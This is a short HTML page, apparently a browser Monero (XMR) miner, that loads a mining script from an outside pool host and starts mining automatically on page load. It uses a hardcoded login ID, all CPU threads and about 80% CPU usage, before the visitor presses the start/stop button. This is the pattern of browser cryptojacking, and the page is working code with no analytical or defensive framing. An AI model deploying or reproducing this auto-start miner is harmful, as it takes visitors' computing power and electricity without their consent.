<html>
<head>
	<title>XMR挖矿</title>
	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
	<script src="https://xmr.omine.org/assets/v7.js"></script>
</head>
<body>
LoginId: <input id="loginId" type="text" size="50" value="1219cb6cd5d04586b78fc2e8db00a7bb"></br>
<input type="button" value="开始" id="btn" onclick="solve();"/>
<script>
function start(){
	console.log('开始');
	var loginId = document.querySelector("#loginId").value;
	console.log(loginId)
	OMINEId(loginId,"-1"); //-1 means use all cpu threads
	throttleMiner=20; //20 means 80% of cpu usage
}

function stop(){
	console.log('结束');
	stopMining();
}

function solve(){
	var text = document.querySelector("#btn").value;
	if(text == '开始'){
		document.querySelector("#btn").value = "结束";
		start();
	}else{
		document.querySelector("#btn").value = "开始";
		stop();
	}
}

window.onload=function (){
	solve();
};

</script>
</body>
</html>